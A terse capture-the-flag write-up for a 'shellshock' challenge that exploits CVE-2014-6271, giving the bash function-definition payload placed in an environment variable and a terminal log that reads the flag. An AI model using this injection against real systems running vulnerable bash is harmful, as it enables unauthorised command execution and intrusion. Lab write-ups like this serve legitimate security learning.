0x01 shellshock
CVE-2014-6271 attack
0x02 principles
https://blog.csdn.net/qq_27180763/article/details/88049178
0x03 payload
export foo='() { :; }; ./bash'
./shellshock
cat flag
0x04 flag
shellshock@prowl:~$ export foo='() { :; }; ./bash'
shellshock@prowl:~$ ./shellshock
shellshock@prowl:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
shellshock@prowl:/home/shellshock$